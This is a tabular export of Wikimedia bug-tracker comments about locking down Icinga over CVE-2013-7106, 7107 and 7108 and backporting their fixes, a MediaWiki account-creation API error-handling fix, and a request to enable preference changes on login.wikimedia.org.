+287426,Icinga has httpauth on (not accessible for public),"Hey Tim, have you contacted the Ubuntu security team? Anything we can do to help?",,,1397726199,,PHID-USER-xwxce3kpvsv54t735g7q,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,True,,,-63,True,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+287421,Icinga has httpauth on (not accessible for public),"No, I don't mind, but I need to test it first at least once :-).  I've asked petan for access to the Nagios project on Labs, will set up a new instance there and see if the package I baked works.
+
+(Ceterum censeo Debian packaging esse delendam.  I simply love Fedora (and other RPM distros) for its cleanliness; on Debian I'm never sure what patches and files end up in the (source) package.)",,,1392382228,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,True,,,-72,True,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,1,0
+287414,Icinga has httpauth on (not accessible for public),"Hey, that's good stuff! Thanks! Would you mind terribly contacting the Ubuntu security team to offer these code backports? Their usual response is ""you're on your own"", but if you attach code they might treat it differently, who knows :)",,,1392381395,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,True,,,-72,True,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,1,0,1,1,0,0,1,1,1,1,1,0,1,0,1,0,0,1,0,0,0
+287408,Icinga has httpauth on (not accessible for public),"Created attachment 14588
+Backport fix for CVE-2013-7107.
+
+**Attached**: {F13069}",,,1392376192,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,True,,,-72,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+287402,Icinga has httpauth on (not accessible for public),"Created attachment 14587
+Backport fix for CVE-2013-7108.
+
+**Attached**: {F13068}",,,1392372445,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,True,,,-72,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+287396,Icinga has httpauth on (not accessible for public),"Created attachment 14586
+Backport fix for CVE-2013-7106.
+
+**Attached**: {F13067}",,,1392372366,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,True,,,-72,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+287388,Icinga has httpauth on (not accessible for public),"Yes, there are security issues with Icinga that forced us to lock it down temporarily back in December 12th.
+
+These are CVE-2013-7106, CVE-2013-7107 & CVE-2013-7108. They are still unfixed in Ubuntu precise (LTS); Icinga is in the universe section, so the Ubuntu security team deals with them on a ""best effort"" basis (i.e. they might not even update it, at all).
+
+The vulnerability status per Ubuntu distribution can be tracked at:
+http://people.canonical.com/~ubuntu-security/cve/2013/CVE-2013-7106.html
+http://people.canonical.com/~ubuntu-security/cve/2013/CVE-2013-7107.html
+http://people.canonical.com/~ubuntu-security/cve/2013/CVE-2013-7108.html
+respectively. Note how they decided to ignore the first one (a CSRF), which shows IMHO a poor judgement from their part.
+
+I don't think we can take the time to do a major Icinga version upgrade right now, nor to backport the fixes ourselves. Our current strategy is ""wait for Ubuntu"", but if anyone wants to help the backporting process (and optionally engage with the Ubuntu security team so others can benefit from that) that'd be awesome.",,,1392302482,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,True,,,-72,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,1,1,1,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,0,0,1,1
+287380,Icinga has httpauth on (not accessible for public),Filed for ops as RT #6838,,,1392299635,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,True,,,-72,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+287371,Icinga has httpauth on (not accessible for public),"(In reply to comment #4)
+> Ok. So we used to have Nagios which anyone could have a look at to see what's
+> wrong. Someone decided to switch to another tool (Icinga). Now it turns out
+> that that tool has security issues and public access got disabled? Way to
+> go.....
+
+IIRC nagois had security issues as well.",,,1391556588,,PHID-USER-hwuumsjqciw7ji5qhpc7,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,False,,,-74,True,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,1
+287362,Icinga has httpauth on (not accessible for public),"It's been so since December. Originally I understood it was a matter of days...
+
+2013-12-20 12.31 < whym> icinga.wikimedia.org now requirs authorization from me.  Is this how it's intended to be?
+2013-12-20 12.39 < paravoid> whym: there are a couple of security vulnerabilities for icinga in the wild, so we've temporarily locked public access
+
+https://gerrit.wikimedia.org/r/#/c/100989/",,,1391446556,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,True,,,-74,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,1,0,0,0,1
+287353,Icinga has httpauth on (not accessible for public),Ok. So we used to have Nagios which anyone could have a look at to see what's wrong. Someone decided to switch to another tool (Icinga). Now it turns out that that tool has security issues and public access got disabled? Way to go.....,,,1391428030,,PHID-USER-cw4amt4ewxdze5qcjdca,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,True,,,-74,True,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+287345,Icinga has httpauth on (not accessible for public),"RobH said in #wikimedia-operations that ""there are security issues with icinga iirc"".",,,1390449927,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,True,,,-75,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0
+287338,Icinga has httpauth on (not accessible for public),"(In reply to comment #1)
+yep, logging in with wikitech-acc doesn't work for me.
+
+Basically all I expect as answer here is a information why it currently on and when it is expected to be disabled again.
+(icinga is on neon and this has nothing to do with graphite's apparently pending security review, right? bug 54713#c5)",,,1389835091,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,True,,,-76,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,1
+287331,Icinga has httpauth on (not accessible for public),"Logging in works for me with my a Labs / wikitech.wikimedia.org account, but that might just be because I'm in a specific LDAP group, like bug 54713.",,,1389831588,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,True,,,-76,True,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+62008,"Special:UserLogin calls Status::newFatal incorrectly on account creation, generates odd API error codes","Gerrit change 17952 changed Special:UserLogin to return a Status object from the account creation function, passing it a RawMessage which breaks the expectation of the API's dieStatus method that it can get a sane key from the message object's getKey method.
+
+But then Gerrit change 47821 broke things worse by changing Special:UserLogin to pass a raw string rather than a Message object or message key as Status::newFatal expects.
+
+--------------------------
+**Version**: 1.23.0
+**Severity**: normal",Medium,50.0,1389634920,1391534698.0,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,False,PHID-TASK-iaxgsj6ezhpsebgwzwht,task_description,resolved,True,c3,1,True,False,True,-77,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+281907,"Special:UserLogin calls Status::newFatal incorrectly on account creation, generates odd API error codes","Change 111113 merged by MaxSem:
+Add Status outparam for AbortNewAccount hook to fix API error handling
+
+https://gerrit.wikimedia.org/r/111113",,,1391470005,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iaxgsj6ezhpsebgwzwht,task_subcomment,,True,c3,1,False,,,-74,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+281901,"Special:UserLogin calls Status::newFatal incorrectly on account creation, generates odd API error codes","Change 111118 merged by jenkins-bot:
+Update ConfirmEdit to return Status object on AbortNewAccount hook
+
+https://gerrit.wikimedia.org/r/111118",,,1391469878,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iaxgsj6ezhpsebgwzwht,task_subcomment,,True,c3,1,False,,,-74,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+281896,"Special:UserLogin calls Status::newFatal incorrectly on account creation, generates odd API error codes","Change 111118 had a related patch set uploaded by MaxSem:
+Update ConfirmEdit to return Status object on AbortNewAccount hook
+
+https://gerrit.wikimedia.org/r/111118",,,1391469822,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iaxgsj6ezhpsebgwzwht,task_subcomment,,True,c3,1,False,,,-74,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+281890,"Special:UserLogin calls Status::newFatal incorrectly on account creation, generates odd API error codes","Change 111113 had a related patch set uploaded by JGonera:
+Add Status outparam for AbortNewAccount hook to fix API error handling
+
+https://gerrit.wikimedia.org/r/111113",,,1391469016,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iaxgsj6ezhpsebgwzwht,task_subcomment,,True,c3,1,False,,,-74,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+281884,"Special:UserLogin calls Status::newFatal incorrectly on account creation, generates odd API error codes","Change 108088 merged by jenkins-bot:
+Add Status outparam for AbortNewAccount hook to fix API error handling
+
+https://gerrit.wikimedia.org/r/108088",,,1390508822,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iaxgsj6ezhpsebgwzwht,task_subcomment,,True,c3,1,False,,,-75,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+281877,"Special:UserLogin calls Status::newFatal incorrectly on account creation, generates odd API error codes","Change 108089 merged by jenkins-bot:
+Update ConfirmEdit to return Status object on AbortNewAccount hook
+
+https://gerrit.wikimedia.org/r/108089",,,1390001573,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iaxgsj6ezhpsebgwzwht,task_subcomment,,True,c3,1,False,,,-76,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+281872,"Special:UserLogin calls Status::newFatal incorrectly on account creation, generates odd API error codes",Yay! :),,,1389994644,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-iaxgsj6ezhpsebgwzwht,task_subcomment,,True,c3,1,True,,,-76,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,1,0,0,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+281866,"Special:UserLogin calls Status::newFatal incorrectly on account creation, generates odd API error codes","(In reply to comment #6)
+> Any strong objections to using this existing approach as a basic fix?
+
+Nope (as indicated by my +1).",,,1389992813,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-iaxgsj6ezhpsebgwzwht,task_subcomment,,True,c3,1,False,,,-76,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,1
+281860,"Special:UserLogin calls Status::newFatal incorrectly on account creation, generates odd API error codes","(In reply to comment #3)
+> The issue here is that the Status class is too intertwined with the Message
+> class, and this was even before RawMessage was introduced. When you made a
+> Status object, it was assumed any error keys were backed by messages.
+> 
+> The solution should be that the concerns need to be separated. The Status
+> class
+> should not have anything to do with the Message class. However, that may be a
+> bit difficult to achieve, so at the very least there needs to be a separation
+> between error codes and message keys.
+
+I'd rather not redo the entire interface of SpecialUserlogin and ApiCreateAccount just to get this going. Any strong objections to using this existing approach as a basic fix?",,,1389992375,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-iaxgsj6ezhpsebgwzwht,task_subcomment,,True,c3,1,True,,,-76,True,1,1,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,1,1
+281853,"Special:UserLogin calls Status::newFatal incorrectly on account creation, generates odd API error codes","Change 108089 had a related patch set uploaded by Brion VIBBER:
+Update ConfirmEdit to return Status object on AbortNewAccount hook
+
+https://gerrit.wikimedia.org/r/108089",,,1389990977,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iaxgsj6ezhpsebgwzwht,task_subcomment,,True,c3,1,False,,,-76,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+281847,"Special:UserLogin calls Status::newFatal incorrectly on account creation, generates odd API error codes","Change 108088 had a related patch set uploaded by Brion VIBBER:
+Add Status outparam for AbortNewAccount hook to fix API error handling
+
+https://gerrit.wikimedia.org/r/108088",,,1389990808,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iaxgsj6ezhpsebgwzwht,task_subcomment,,True,c3,1,False,,,-76,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+281842,"Special:UserLogin calls Status::newFatal incorrectly on account creation, generates odd API error codes","The issue here is that the Status class is too intertwined with the Message class, and this was even before RawMessage was introduced. When you made a Status object, it was assumed any error keys were backed by messages.
+
+The solution should be that the concerns need to be separated. The Status class should not have anything to do with the Message class. However, that may be a bit difficult to achieve, so at the very least there needs to be a separation between error codes and message keys.",,,1389990545,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-iaxgsj6ezhpsebgwzwht,task_subcomment,,True,c3,1,False,,,-76,True,1,1,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,1,1,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,1,0
+281838,"Special:UserLogin calls Status::newFatal incorrectly on account creation, generates odd API error codes","I think the thing to do here is to allow sending back a *useful* Status object from the hook in place of just a string, which should be able to return a sane error. Lemme try...",,,1389988805,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-iaxgsj6ezhpsebgwzwht,task_subcomment,,True,c3,1,True,,,-76,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+281834,"Special:UserLogin calls Status::newFatal incorrectly on account creation, generates odd API error codes",Taking this as we want this to work smoothly for mobile apps.,,,1389987946,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-iaxgsj6ezhpsebgwzwht,task_subcomment,,True,c3,1,True,,,-76,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+61692,Personal adjustment of setting on login.wikimedia.org,"Hey,
+
+it would be really nice if you guys would enable the possibility to change ones preferences on login.wikimedia.org.
+
+Currently that's not possible, but as a steward I sometimes use the wiki to run checks and I'd like to change the skin to monobook and I could imagine that some folks would also like to change their language.
+
+Thanks!
+
+[[m:User:Barras]]
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://login.wikimedia.org",Medium,50.0,1388947980,1389016531.0,PHID-USER-w5jfyyrsmzhqbvis3i23,False,,False,PHID-TASK-ya7ixamk5dnx7p423utt,task_description,declined,True,c3,1,False,False,True,-78,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+263443,Personal adjustment of setting on login.wikimedia.org,"The stewards are the only ones using this wiki, and they now have the ability to customise their preferences (which was the intent of this bug report). Therefore, WONTFIXing.",,,1389016531,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,True,,,-78,True,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+263438,Personal adjustment of setting on login.wikimedia.org,"(In reply to comment #16)
+> Barras, stewards can just add the 'editmyoptions' right into their CA global
+> group and it should work fine.
+
+Thanks for the advice, that fixed the issue. Although I think that this should still be enabled, I just gave stewards the right to edit their own settings, which works well.
+
+I understand that page creations etc are not allowed, that really makes sense for the wiki, but I fail to see a reason why people should not be allowed to change their setting on this wiki.
+
+But whatever, I think I won't waste my time with that as the experience sadly shows that it usually turns out totally useless to argue here. So long, and thanks for the advice, Legoktm...",,,1389014782,,PHID-USER-w5jfyyrsmzhqbvis3i23,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,False,,,-78,True,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,1,0,1,0,1,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,1,0,1,1,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+263431,Personal adjustment of setting on login.wikimedia.org,"(In reply to comment #15)
+> (In reply to comment #10) 
+> > Anyone would think we made those changes for a reason
+> 
+> Could you elaborate on what that reason is? It would be helpful to know.
+
+For example Site CSS and JS was disabled for a security related reason.
+
+The rest mostly because there's really no reason for 99.9999999% of users to know it even exists, never mind actually visit or try and use it for anything.
+
+There's nothing that can/should be doing at the wiki. It serves exists mostly for technical reasons. If we had allowed editing, we'd would've had a spam of people creating their userpages, personal JS and CSS etc.
+
+https://github.com/wikimedia/operations-mediawiki-config/commit/e61684d0f4b43ab4192e484521f898d900158fb3
+
+https://github.com/wikimedia/operations-mediawiki-config/commit/0381c081072f092e187a907ac538a97da16c0fdb
+
+https://bugzilla.wikimedia.org/show_bug.cgi?id=46902 has some of the related discussions",,,1388971463,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,True,,,-78,True,1,1,0,0,0,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,0,1,1,1,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+263424,Personal adjustment of setting on login.wikimedia.org,"Barras, stewards can just add the 'editmyoptions' right into their CA global group and it should work fine.",,,1388970795,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,True,,,-78,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0
+263416,Personal adjustment of setting on login.wikimedia.org,"(In reply to comment #10) 
+> Anyone would think we made those changes for a reason
+
+Could you elaborate on what that reason is? It would be helpful to know.",,,1388966619,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,True,,,-78,True,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,1,1,0,0,0,0,1
+263409,Personal adjustment of setting on login.wikimedia.org,"Thanks for filing this bug, Barras. I filed bug 59701 and bug 59702 related to login.wikimedia.org.",,,1388966472,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ya7ixamk5dnx7p423utt,task_subcomment,,True,c3,1,True,,,-78,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+263403,Personal adjustment of setting on login.wikimedia.org,"In my preferences the language is set to English (which I absolutely don't mind, I'd use English anyway!), whoever the drop-down menu to change that is at least for me locked on that page. No idea what other ways there might be to change that, also that does not really matter to me.
+
